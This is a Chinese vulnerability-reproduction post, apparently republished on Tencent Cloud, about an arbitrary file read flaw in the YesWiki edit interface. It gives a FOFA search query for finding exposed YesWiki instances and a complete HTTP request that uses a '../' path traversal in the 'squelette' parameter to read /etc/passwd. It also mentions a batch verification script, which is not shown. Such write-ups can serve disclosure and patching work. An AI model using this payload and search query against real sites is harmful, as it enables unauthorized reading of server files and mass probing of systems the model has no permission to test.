【漏洞复现】YesWiki知识库edit接口存在任意文件读取漏洞
【漏洞复现】YesWiki知识库edit接口存在任意文件读取漏洞
熔城Sec
发布于 2026-07-22 19:48:08
发布于 2026-07-22 19:48:08
漏洞描述
YesWiki是一个开源、易用的 Wiki 平台，基于 PHP 和 MySQL 开发，适合个人、团队和组织快速搭建知识库或协作平台。它无需复杂配置，安装简单，支持多语言和插件扩展，用户可通过可视化编辑器轻松创建和编辑内容，适合技术门槛较低的用户使用。
资产收集
fofa
app="YesWiki"
发送请求
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive返回包
批量验证脚本
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2025-10-29，如有侵权请联系 cloudcommunity@tencent.com 删除
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号